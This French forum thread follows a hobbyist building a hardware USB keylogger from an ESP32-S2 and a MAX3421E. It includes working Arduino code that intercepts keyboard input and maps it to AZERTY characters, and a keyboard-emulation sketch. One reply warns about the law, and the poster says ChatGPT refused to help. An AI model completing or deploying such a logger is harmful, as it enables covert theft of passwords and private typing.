Log clavier usb

Salut, je voudrais fabriquer un keylogger usb materiel.(Les prix des modèles commerciaux etant trop cher) Je me demande quel type de hardware utiliser (basé sur arduino). J’avais deja testé les cartes qui disposent du wifi, l’idée serais de faire comme les key logger grand publique d’ajouter un serveur web afin de pouvoir consulter les touches frappées.

Une idée sur le partie permettant de recuperer le code des touche sur le port usb?

Merci

Bonjour

Avec comme mots clef 'ESP32 USB keyboard sniffer' Mon moteur de rerchee donne ceci :

A noter que Les keyloggers sont considérés en droit français comme des dispositifs de captation de données qui s’ils sont utilisés sans consentement seront assimilés à un accès ou une interception frauduleuse d’un système informatique.

➜ Leur usage est puni de deux à cinq ans d’emprisonnement et de 60 000 à 150 000 euros d’amende selon la gravité des faits.

Pour un projet de recherche ou afin de démontrer les risques en toute transparence pourquoi pas, mais si c’est pour utiliser frauduleusement vous devriez y réfléchir à deux fois, la loi ne voit pas cela comme une blague amusante.

(Et ce n’est clairement pas ce que ce forum encourage bien entendu - ie ne le faites pas !).

Ok, je tiens compte de sont usage interdit s'il est mal utilisé…

Je vais regarder le lien proposé.

Merci

Je viens de regarder le lien et je trouve sa un peu usine à gaz, il utilise 3 platines pour faire ça. Je pense qu'on dois pouvoir faire plus simple. Non?

Salut, j’ai recu les composants dont une carte basé sur le MAX3421E , j’ai un petit soucie au niveau du cablage.

J’ai connecté miso mosi clk a ma carte s2 mini sans problème par contre je ne comprends pas pourquoi je retrouve du 5 v sur vcc. J’ai alimenté vbus en 5 v provenant de ma carte s2 mini egalement.

Normalement le max3421 fonctionne en 3.3v, pourquoi ai je donc du 5 v sur cette pin? (alors que seul sbus alimente la carte en 5v)

De plus j’ai connecté pour tester un clavier usb, et j’ai mesuré il y a bien du 5v sur l’alim mais celui ci ne s’allume pas contrairement a ma souris qui elle s’allume. Est ce normal?

Comment expliquer que lorsque j’alimente seulement sbus en 5 volts et la masse je mesure 5volts sur vcc, alors que vcc est sensé être en 3.3V ?

Je n’ai pas trouvé le schéma de la carte mais sa paret vraiment curieux.

Je viens juste de comprendre qu’il fallait couper la piste…arf

Je n’arrive pas a compiler se code malgrés plusieurs heures passé avec chatgpt:

#include <SPI.h>
#include <Usb.h>   // doit venir de "USB Host Shield Library 2.0"

#define MAX_SS   5   // CS du MAX3421E (adapte à ton câblage)
#define MAX_INT  3   // INT du MAX3421E

USB Usb;

void setup() {
  Serial.begin(115200);
  while (!Serial) {}
  delay(100);

  // SPI conseillé sur ESP32-C3 (LOLIN C3 Pico) : SCK=4, MISO=2, MOSI=7
  SPI.begin(4, 2, 7, MAX_SS);

  pinMode(MAX_SS, OUTPUT);
  digitalWrite(MAX_SS, HIGH);
  pinMode(MAX_INT, INPUT_PULLUP);

  Serial.println("Init USB Host (MAX3421E)...");
  if (Usb.Init() == -1) {
    Serial.println("Erreur: init MAX3421E (VBUS 5V ? câblage SPI/INT/CS ?).");
    while (1) { delay(1000); }
  }
  Serial.println("USB Host prêt. Branche un périphérique USB.");
}

void loop() {
  Usb.Task();  // obligatoire pour traiter le bus
}


J’obtiens toujours ce message : Compilation error: 'USB' does not name a type

Si quelqu’un a une idée? J’ai testé avec la carte lolin c3 mini et esp32-c3 dev module (comme me propose chatgpt)

La librairie USB Host Shield library 2.0 est pourtant installé…

Avez vous essayé les exemples et regardé leur code ?

Passer des heures avec chatGPT sans comprendre et se former c’est pas très utile…

@cyrilcarlita2

je vois ceci sur la page GitHub de la bibliothèque USB utilées pour ta carte USB Host Mini

image

T’es tu assuré de la compatibilité de cette bibliothèque et la carte Lolin C3 Mini qui ne donne pas accès à ces GPIO ?

J’ai l’impresion qu’il y a une erreur de casting dans le choix de la carte avec le microcontrolleur

Ma carte a bien accé au gpio, je viens de regarder les codes d’exemples et n’utilise pas Usb.h, le code est foireux. J’ai trouvé un autre code qui utilise #include <hidboot.h> et #include <usbhub.h>.

Je teste ce soir ce code qui ressemble plus aux exemples d’utilisation du max 3421:

#include <hidboot.h>
#include <usbhub.h>
#include <SPI.h>

// Branchements pour ESP32-C3 + MAX3421E (adapte si nécessaire)
#define MAX_SS   5   // CS du MAX3421E
#define MAX_INT  3   // INT du MAX3421E

USB     Usb;
USBHub  Hub(&Usb);
HIDBoot<USB_HID_PROTOCOL_KEYBOARD>    HidKeyboard(&Usb);

// Classe de rappel pour afficher les touches
class KbdRptParser : public KeyboardReportParser {
  void OnKeyDown(uint8_t mod, uint8_t key);
  void OnKeyUp(uint8_t mod, uint8_t key);
  void OnControlKeysChanged(uint8_t before, uint8_t after);
};

KbdRptParser KbdPrs;

void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key) {
  Serial.print("Touche appuyée: ");
  Serial.println(OemToAscii(mod, key));  // conversion touche -> ASCII
}

void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key) {
  Serial.print("Touche relâchée: ");
  Serial.println(OemToAscii(mod, key));
}

void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
  Serial.print("Touches CTRL/SHIFT/ALT changées: 0x");
  Serial.println(after, HEX);
}

void setup() {
  Serial.begin(115200);
  while (!Serial) {}
  delay(200);

  // SPI sur ESP32-C3 Pico : SCK=4, MISO=2, MOSI=7
  SPI.begin(4, 2, 7, MAX_SS);

  pinMode(MAX_SS, OUTPUT);
  digitalWrite(MAX_SS, HIGH);
  pinMode(MAX_INT, INPUT_PULLUP);

  Serial.println("Init USB Host...");
  if (Usb.Init() == -1) {
    Serial.println("Erreur d'initialisation du MAX3421E !");
    while (1) { delay(1000); }
  }
  delay(200);
  HidKeyboard.SetReportParser(0, (HIDReportParser*)&KbdPrs);
  Serial.println("USB Host prêt. Branchez un clavier USB.");
}

void loop() {
  Usb.Task();
}


Je poste le code qui marche pour afficher la touche tapé sur le clavier sur le port uart externe sur les pin 17 et 18 (convertiseur uart usb). Ceci car lorsqu’on lance le programme sa coupe le port usb dedié au debugage.

J’avais oublié de raccorder rst sur le 3.3v du coup sa ne marchait pas.

le clignotement lent permet de verifier que la boucle principale fonctionne, si rapide c’est que il y a un problème.

Il faut activer le demarrage du programme en appuyant sur le bouton 0, laisser apuyer puis appuyer sur le bouton reset puis relacher le bouton 0.

Puis reset pour lancer le programme.

Pour pouvoir lancer la programmation on refait la même manip.

Voici le code actuel qui fonctionne, je suis encore en train de tester

#include <SPI.h>
#include <usbhub.h>
#include <hidboot.h>

// --- Broches MAX3421E (ESP32-S2) ---
#define MAX_SS   5    // CS du MAX3421E
#define MAX_INT  3    // INT du MAX3421E

// --- LED témoin ---
const int ledPin = 15;

// --- UART1 matériel sur GPIO17 (TX) et GPIO18 (RX) ---
HardwareSerial Debug(1);  // UART1

USB     Usb;
USBHub  Hub(&Usb);
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKbd(&Usb);

// --- Masques HID modificateurs ---
#define HID_LEFT_CTRL   0x01
#define HID_LEFT_SHIFT  0x02
#define HID_LEFT_ALT    0x04
#define HID_LEFT_GUI    0x08
#define HID_RIGHT_CTRL  0x10
#define HID_RIGHT_SHIFT 0x20
#define HID_RIGHT_ALT   0x40
#define HID_RIGHT_GUI   0x80

static inline bool isShift(uint8_t mod) {
  return (mod & (HID_LEFT_SHIFT | HID_RIGHT_SHIFT)) != 0;
}

// --- Mapping basique AZERTY ---
char azertyMap(uint8_t c, bool shift) {
  switch (c) {
    case 'a': return shift ? 'Q' : 'q';
    case 'z': return shift ? 'W' : 'w';
    case 'q': return shift ? 'A' : 'a';
    case 'm': return shift ? '?' : ',';
    default:  return shift ? toupper(c) : c;
  }
}

// --- Parser clavier ---
class KbdRptParser : public KeyboardReportParser {
  void OnKeyDown(uint8_t mod, uint8_t key) override {
    uint8_t c = OemToAscii(mod, key);
    if (c) {
      bool shift = isShift(mod);
      char mapped = azertyMap(c, shift);
      Debug.print(mapped);
    }
  }
} KbdPrs;

// --- Blink non bloquant ---
unsigned long lastBlink = 0;
bool ledState = false;

void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW); // OFF

  Debug.begin(115200, SERIAL_8N1, 18, 17); // RX=18, TX=17
  delay(100);

  SPI.begin();
  pinMode(MAX_SS, OUTPUT);
  digitalWrite(MAX_SS, HIGH);
  pinMode(MAX_INT, INPUT_PULLUP);

  Debug.println("Init USB Host (MAX3421E)...");
  if (Usb.Init() != 0) {
    Debug.println("❌ Init échouée.");
    while (1) {
      digitalWrite(ledPin, HIGH); delay(200);
      digitalWrite(ledPin, LOW);  delay(200);
    }
  }

  HidKbd.SetReportParser(0, (HIDReportParser*)&KbdPrs);
  Debug.println("✅ USB Host prêt — branche un clavier.");
}

void loop() {
  Usb.Task(); // traitement bus USB

  // Blink non bloquant toutes les 500 ms
  unsigned long now = millis();
  if (now - lastBlink >= 500) {
    lastBlink = now;
    ledState = !ledState;
    digitalWrite(ledPin, ledState ? HIGH : LOW);
  }
}

Il y a encore quelques touches qui ne correspondent pas… Mais le captage des touches fonctionne…

il faudra compléter cela non ?

oui mais il semble que sa ne fonctionne par comme attendu, je m’explique:

Si C vaut q c’est que la touche a à été appuyé donc ont renvoit ‘a‘

Hors si C vaut Q c’est que la touche majuscule et appuyé et qu’il faut retourner A

Ce n’est apparemment pas ce que fait ce code, une seule ligne ne peux pas gerer les 2 cas (minuscule, et majuscule)

J’ai constaté que ce code est incorrecte et ne fonctionne pas dans tous les cas. Je vais modifier ça

C'est ce que fait le code ci-dessous,si la touche shift est enfoncée on retourne la majuscule, si elle est relâchée on retourne la minuscule.

En principe, le scancode est le même pour 'q' et 'Q'. Ce sont les modifieurs (shift, ctrl, alt, ...) qui vont changer l'interprétation du scancode.

Voila, une version amélioré qui gère pas mal de touches, par contre il faut un terminal qui gère l’affichage de l’utf8 sinon par exemple un é ou d’autres symboles ne passe pas. J’ai cherché pas mal pour trouver quel logiciel de terminal série fonctionne et bien putty marche très bien.

Si quelqu’un veut ajouter des touches il est possible d’activer le mode debug en mettant cette ligne a 1:

#define DEBUG_KEYS 1

Et du coup sa affiche le numero de la touche.

Je me suis aidé de chatgpt pour aller plus vite… Voici le code que j’obtiens, j’ai un peu galéré avec certains touches, mais le mode debug facilite les choses…

Aperçu de ce que sa donne dans putty:

Le code actuel:

#include <SPI.h>
#include <usbhub.h>
#include <hidboot.h>
#include <HardwareSerial.h>

// ====== DEBUG (1 = ON pour logger mod/usage, 0 = OFF) ======
#define DEBUG_KEYS 1

// --- MAX3421E (ESP32-S2) ---
#define MAX_SS   5    // CS du MAX3421E
#define MAX_INT  3    // INT du MAX3421E

// --- LED blink ---
const int ledPin = 15;
unsigned long lastBlink = 0;
bool ledState = false;

// --- UART1 (TX=17, RX=18) ---
HardwareSerial Debug(1);

// --- Modificateurs HID ---
#define HID_LCTRL   0x01
#define HID_LSHIFT  0x02
#define HID_LALT    0x04
#define HID_LGUI    0x08
#define HID_RCTRL   0x10
#define HID_RSHIFT  0x20
#define HID_RALT    0x40
#define HID_RGUI    0x80

static inline bool hasShift(uint8_t m){ return m & (HID_LSHIFT|HID_RSHIFT); }
static inline bool hasAltGr(uint8_t m){ return (m & HID_RALT) || ((m & HID_LCTRL) && (m & HID_LALT)); }

USB     Usb;
USBHub  Hub(&Usb);
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKbd(&Usb);

// petit helper pour afficher une ligne debug uniforme
void logUsage(uint8_t mod, uint8_t usage, const char* out) {
#if DEBUG_KEYS
  Debug.print("[key] usage=0x");
  Debug.print(usage, HEX);
  Debug.print(" (");
  Debug.print((int)usage);
  Debug.print("), mod=0x");
  Debug.print(mod, HEX);
  Debug.print(" -> '");
  Debug.print(out);
  Debug.println("'");
#endif
}

// --------- MAP FR PAR USAGE (sans OemToAscii) ---------
// renvoie une chaîne C (char*) à imprimer, ou "" si rien
const char* mapFR(uint8_t usage, uint8_t mod)
{
  bool s = hasShift(mod);
  bool g = hasAltGr(mod);




  // Lettres spéciales (A<->Q, W<->Z)
  switch (usage) {
    case 0x04: return s ? "Q" : "q"; // US 'A' -> FR 'q'/'Q'
    case 0x14: return s ? "A" : "a"; // US 'Q' -> FR 'a'/'A'
    case 0x1A: return s ? "Z" : "z"; // US 'W' -> FR 'z'/'Z'
    case 0x1D: return s ? "W" : "w"; // US 'Z' -> FR 'w'/'W'
    case 0x10: return s ? "?" : ","; // touche , / ?
    case 0x33: return s ? "M" : "m";
  }

  // Lettres communes (B..N, O..P, R..Y) — M a sa touche dédiée plus bas
  if (usage >= 0x05 && usage <= 0x1D) {
    char base = 'a' + (usage - 0x04);
    char outc = s ? (char)toupper(base) : base;
    static char buf1[2]; buf1[0]=outc; buf1[1]='\0';
    return buf1;
  }

  // Chiffres 1..0 (usages 0x1E..0x27)
  switch (usage) {
    case 0x1E: if (g) return "";      return s ? "1" : "&";
    case 0x1F: if (g) return "~";     return s ? "2" : "é";
    case 0x20: if (g) return "#";     return s ? "3" : "\"";
    case 0x21: if (g) return "{";     return s ? "4" : "'";
    case 0x22: if (g) return "[";     return s ? "5" : "(";
    case 0x23: if (g) return "|";     return s ? "6" : "-";
    case 0x24: if (g) return "`";     return s ? "7" : "è";
    case 0x25: if (g) return "\\\\";  return s ? "8" : "_";
    case 0x26: if (g) return "^";     return s ? "9" : "ç";
    case 0x27: if (g) return "@";     return s ? "0" : "à";
  }

  // Après 0 : - et =
  switch (usage) {
    case 0x2D: return g ? "]" : (s ? "°" : ")");  // FR: ) / °  (+AltGr ])
    case 0x2E: return g ? "}" : (s ? "+" : "=");  // FR: = / +  (+AltGr })
  }

  // Autour de P : [ ] \  (en FR: ^/¨, $/£, */µ)
  switch (usage) {
    case 0x2F: return s ? "¨" : "^";             // dead keys, ici non composées
    case 0x30: return g ? "¤" : (s ? "£" : "$");
    case 0x31: return s ? "µ" : "*";
  }

  // M, ù/% (en FR : M correspond à l'usage US ';', et ù/% à US quote)
  switch (usage) {
    case 0x34: return s ? "%" : "ù";     // US quote -> FR 'ù' / '%'
  }

  // Bas de clavier — (ton mapping actuel)
  switch (usage) {
    case 0x36: return s ? "." : ";";
    case 0x37: return s ? "/" : ":";
    case 0x38: return s ? "§" : "!";
  }

  // Touche ISO près de Shift gauche (peut ne pas servir sur ton modèle)
  if (usage == 0x64) return hasShift(mod) ? "!" : "§";

  // Espace / Enter / Tab
  switch (usage) {
    case 0x2C: return " ";
    case 0x28: return "\n";
    case 0x2B: return "\t";
  }

  // Pavé numérique (chiffres + virgule)
  if (usage >= 0x59 && usage <= 0x63) {
    static const char* kp[] = { "1","2","3","4","5","6","7","8","9","0","." };
    if (usage == 0x63) return ","; // virgule décimale FR
    return kp[usage - 0x59];
  }
  // Opérateurs pavé num
  switch (usage) {
    case 0x54: return "/"; // KP /
    case 0x55: return "*"; // KP *
    case 0x56: return "-"; // KP -
    case 0x57: return "+"; // KP +
    case 0x58: return "\n"; // KP Enter
  }

  return ""; // inconnu
}

// --------- Parser ----------
class KbdRptParser : public KeyboardReportParser {
  void OnKeyDown(uint8_t mod, uint8_t usage) override {
    // on prépare 'out' pour logger la même ligne pour toutes les touches
    const char* out = "";

    // touches spéciales (demandées)
    switch (usage) {
      case 0x2A: out = "[bs retour]"; break;      // Retour arrière
      case 0x4F: out = "[fleche droite]"; break;  // Flèche droite
      case 0x50: out = "[fleche gauche]"; break;  // Flèche gauche
      case 0x51: out = "[fleche bas]"; break;     // Flèche bas
      case 0x52: out = "[fleche haut]"; break;    // Flèche haut
      default:   /* pas spécial -> on mappe après */ break;
    }

    // si pas une touche spéciale, on mappe via ta table
    if (*out == '\0') {
      out = mapFR(usage, mod);
    }

    // log du code touche + caractère mappé (si DEBUG_KEYS=1)
    logUsage(mod, usage, out);

    // impression effective
    if (out && *out) Debug.print(out);
  }
} KbdPrs;

void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW);

  Debug.begin(115200, SERIAL_8N1, 18, 17); // RX=18, TX=17
  Debug.println("\n[UART1] Boot");

  SPI.begin();
  pinMode(MAX_SS, OUTPUT);
  digitalWrite(MAX_SS, HIGH);
  pinMode(MAX_INT, INPUT_PULLUP);

  Debug.println("Init USB Host (MAX3421E)...");
  int r = Usb.Init();
  if (r != 0) {
    Debug.print("❌ Init échouée (code "); Debug.print(r); Debug.println(").");
    while (true) { digitalWrite(ledPin, HIGH); delay(120); digitalWrite(ledPin, LOW); delay(120); }
  }

  HidKbd.SetReportParser(0, (HIDReportParser*)&KbdPrs);
  Debug.println("✅ USB Host prêt — branche un clavier.");
}

void loop() {
  Usb.Task();

  // Blink non bloquant (1 Hz)
  unsigned long now = millis();
  if (now - lastBlink >= 500) {
    lastBlink = now;
    ledState = !ledState;
    digitalWrite(ledPin, ledState ? HIGH : LOW);
  }
}

Maintenant un petit programme qui utilise le mode HID de l’esp32-s2 pour envoyer du texte comme le fait un clavier (testé):

#include <Arduino.h>
#include <USB.h>
#include <USBHIDKeyboard.h>

USBHIDKeyboard Keyboard;

void setup() {
  // Démarre la pile USB et le périphérique HID clavier
  USB.begin();
  Keyboard.begin();

  // Laisse le temps à l’OS d’initialiser le périphérique USB
  delay(1500);
}

void loop() {
  // Envoie "test" + retour à la ligne comme si c’était tapé au clavier
  Keyboard.println("test");

  // Attends 5 secondes
  delay(5000);
}

Salut, je cherche a faire fonctionner mon keylogger, j’ai séparé le problème en plusieurs programmes indépendants. Mais la je n’arrive pas a réunir les 2 programmes sans avoir des erreurs de compilations.

Voici mon premier programme qui envoi un texte au pc par le biais du port usb de l’ordinateur en initialisant une HID:

#include <Arduino.h>
#include <USB.h>
#include <USBHIDKeyboard.h>

USBHIDKeyboard Keyboard;

void setup() {
  // Démarre la pile USB et le périphérique HID clavier
  USB.begin();
  Keyboard.begin();

  // Laisse le temps à l’OS d’initialiser le périphérique USB
  delay(1500);
}

void loop() {
  // Envoie "test" + retour à la ligne comme si c’était tapé au clavier
  Keyboard.println("test");

  // Attends 5 secondes
  delay(5000);
}

Le deuxieme code permet d’intercepter les touches du clavier:

#include <SPI.h>
#include <usbhub.h>
#include <hidboot.h>
#include <HardwareSerial.h>

// ====== DEBUG (1 = ON pour logger mod/usage, 0 = OFF) ======
#define DEBUG_KEYS 1

// --- MAX3421E (ESP32-S2) ---
#define MAX_SS   5    // CS du MAX3421E
#define MAX_INT  3    // INT du MAX3421E

// --- LED blink ---
const int ledPin = 15;
unsigned long lastBlink = 0;
bool ledState = false;

// --- UART1 (TX=17, RX=18) ---
HardwareSerial Debug(1);

// --- Modificateurs HID ---
#define HID_LCTRL   0x01
#define HID_LSHIFT  0x02
#define HID_LALT    0x04
#define HID_LGUI    0x08
#define HID_RCTRL   0x10
#define HID_RSHIFT  0x20
#define HID_RALT    0x40
#define HID_RGUI    0x80

static inline bool hasShift(uint8_t m){ return m & (HID_LSHIFT|HID_RSHIFT); }
static inline bool hasAltGr(uint8_t m){ return (m & HID_RALT) || ((m & HID_LCTRL) && (m & HID_LALT)); }

USB     Usb;
USBHub  Hub(&Usb);
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKbd(&Usb);

// petit helper pour afficher une ligne debug uniforme
void logUsage(uint8_t mod, uint8_t usage, const char* out) {
#if DEBUG_KEYS
  Debug.print("[key] usage=0x");
  Debug.print(usage, HEX);
  Debug.print(" (");
  Debug.print((int)usage);
  Debug.print("), mod=0x");
  Debug.print(mod, HEX);
  Debug.print(" -> '");
  Debug.print(out);
  Debug.println("'");
#endif
}

// --------- MAP FR — UN SEUL SWITCH ---------
// renvoie une chaîne C (char*) à imprimer, ou "" si rien
const char* mapFR(uint8_t usage, uint8_t mod)
{
  bool s = hasShift(mod);
  bool g = hasAltGr(mod);

  // buffer pour les lettres "par défaut"
  static char buf1[2]; // 1 char + '\0'

  switch (usage) {
    // =================== Contrôles & navigation ===================
    case 0x2A: return "[bs retour]";     // Backspace
    case 0x28: return "\n";              // Enter
    case 0x2B: return "\t";              // Tab
    case 0x2C: return " ";               // Space
    case 0x4F: return "[fleche droite]";
    case 0x50: return "[fleche gauche]";
    case 0x51: return "[fleche bas]";
    case 0x52: return "[fleche haut]";

    // =================== Lettres "spéciales" (AZERTY vs US) ===================
    // US 'A' (0x04) -> FR 'q'/'Q'
    case 0x04: return s ? "Q" : "q";
    // US 'Q' (0x14) -> FR 'a'/'A'
    case 0x14: return s ? "A" : "a";
    // US 'W' (0x1A) -> FR 'z'/'Z'
    case 0x1A: return s ? "Z" : "z";
    // US 'Z' (0x1D) -> FR 'w'/'W'
    case 0x1D: return s ? "W" : "w";
    // Touche , / ? (FR)
    case 0x10: return s ? "?" : ",";
    // 'm' dédié (FR)
    case 0x33: return s ? "M" : "m";

    // =================== Chiffres (rangée du haut) ===================
    case 0x1E: if (g) return "";      return s ? "1" : "&";
    case 0x1F: if (g) return "~";     return s ? "2" : "é";
    case 0x20: if (g) return "#";     return s ? "3" : "\"";
    case 0x21: if (g) return "{";     return s ? "4" : "'";
    case 0x22: if (g) return "[";     return s ? "5" : "(";
    case 0x23: if (g) return "|";     return s ? "6" : "-";
    case 0x24: if (g) return "`";     return s ? "7" : "è";
    case 0x25: if (g) return "\\";    return s ? "8" : "_";
    case 0x26: if (g) return "^";     return s ? "9" : "ç";
    case 0x27: if (g) return "@";     return s ? "0" : "à";

    // =================== Après 0 : - et = ===================
    case 0x2D: return g ? "]" : (s ? "°" : ")");  // FR: ) / ° (+AltGr ])
    case 0x2E: return g ? "}" : (s ? "+" : "=");  // FR: = / + (+AltGr })

    // =================== Autour de P ===================
    case 0x2F: return s ? "¨" : "^";   // dead keys (simplifiées ici)
    case 0x30: return g ? "¤" : (s ? "£" : "$");
    case 0x31: return s ? "µ" : "*";

    // =================== À droite (ù / %) ===================
    case 0x34: return s ? "%" : "ù";

    // =================== Bas de clavier ===================
    case 0x36: return s ? "." : ";";
    case 0x37: return s ? "/" : ":";
    case 0x38: return s ? "§" : "!";
    // Touche ISO près du Shift gauche
    case 0x64: return s ? "!" : "§";

    // =================== Pavé numérique ===================
    case 0x54: return "/";   // KP /
    case 0x55: return "*";   // KP *
    case 0x56: return "-";   // KP -
    case 0x57: return "+";   // KP +
    case 0x58: return "\n";  // KP Enter
    case 0x59: return "1";
    case 0x5A: return "2";
    case 0x5B: return "3";
    case 0x5C: return "4";
    case 0x5D: return "5";
    case 0x5E: return "6";
    case 0x5F: return "7";
    case 0x60: return "8";
    case 0x61: return "9";
    case 0x62: return "0";
    case 0x63: return ",";   // KP decimal (FR virgule)

    // =================== Par défaut : lettres "communes" ===================
    default:
      // Lettres US 0x05..0x1D (hors cas déjà traités ci-dessus : 0x10, 0x1A, 0x1D)
      if (usage >= 0x05 && usage <= 0x1D) {
        char base = 'a' + (usage - 0x04);
        char outc = s ? (char)toupper(base) : base;
        buf1[0] = outc;
        buf1[1] = '\0';
        return buf1;
      }
      return ""; // inconnu / non géré
  }
}

// --------- Parser ----------
class KbdRptParser : public KeyboardReportParser {
  void OnKeyDown(uint8_t mod, uint8_t usage) override {
    const char* out = mapFR(usage, mod);   // ✅ un seul point de vérité

    // log du code touche + caractère mappé (si DEBUG_KEYS=1)
    logUsage(mod, usage, out);

    // impression effective
    if (out && *out) Debug.print(out);
  }
} KbdPrs;

void setup() {
  pinMode(ledPin, OUTPUT);
  digitalWrite(ledPin, LOW);

  Debug.begin(115200, SERIAL_8N1, 18, 17); // RX=18, TX=17
  Debug.println("\n[UART1] Boot");

  SPI.begin();
  pinMode(MAX_SS, OUTPUT);
  digitalWrite(MAX_SS, HIGH);
  pinMode(MAX_INT, INPUT_PULLUP);

  Debug.println("Init USB Host (MAX3421E)...");
  int r = Usb.Init();
  if (r != 0) {
    Debug.print("❌ Init échouée (code "); Debug.print(r); Debug.println(").");
    while (true) { digitalWrite(ledPin, HIGH); delay(120); digitalWrite(ledPin, LOW); delay(120); }
  }

  HidKbd.SetReportParser(0, (HIDReportParser*)&KbdPrs);
  Debug.println("✅ USB Host prêt — branche un clavier.");
}

void loop() {
  Usb.Task();

  // Blink non bloquant (1 Hz)
  unsigned long now = millis();
  if (now - lastBlink >= 500) {
    lastBlink = now;
    ledState = !ledState;
    digitalWrite(ledPin, ledState ? HIGH : LOW);
  }
}

Je ne parviens pas a reunir les 2 sans avoir des erreurs de compilations, auriez vous des idées?

Peut être y avait il une bonne raison pour l’usine à gaz

Beaucoup de contrôleurs USB n’ont qu’un seul rôle matériel (host ou device), certains contrôleurs modernes sont dual-role/OTG et peuvent changer de rôle par logiciel mais ne supportent pas les deux rôles simultanément sur la même interface, et la seule façon d’avoir host et device en même temps est d’utiliser des contrôleurs/physiques distincts

Salut, sur ce quoi vous avez peut être raison, mais chat gpt dis que sa peut fonctionner.

Malheureusement il ne veut pas m'aider car je tente de faire un keylogger…

j'ai testé avec mistral ia est gemini mais pas moyen de compiler, j'ai ensuite essayé de réunir les 2 morceaux de code sans succè.

J'ai tendance à croire gpt, il a souvent raison

C'est la datasheet qui a raison.

The MAX3421E contains digital logic and analog circuitry necessary to implement a full-speed USB peripheral or a full-/low-speed host compliant to USB specification rev 2.0. The MAX3421E is selected to operate as either a host or peripheral

Le MAX3421E intègre la logique numérique et les circuits analogiques nécessaires à la mise en œuvre d'un périphérique USB haut débit ou d'un hôte haut/bas débit conforme à la spécification USB révision 2.0. Le MAX3421E est sélectionné pour fonctionner soit comme un hôte ou un périphérique.

C'est soit l'un soit l'autre pas les 2.

Salut, en fait je cherche a recuperer latouche frappé grace au max3421e et les retransmettres par le port usb natif du esp32-s2, je ne cherche pas a faire sa sur le même port usb…

Je vais continuer a chercher… Il y a apparement des conflits de librairies…

Je vais essayer d'utiliser tinyusb, qui n'utilise pas les mêmes librairies…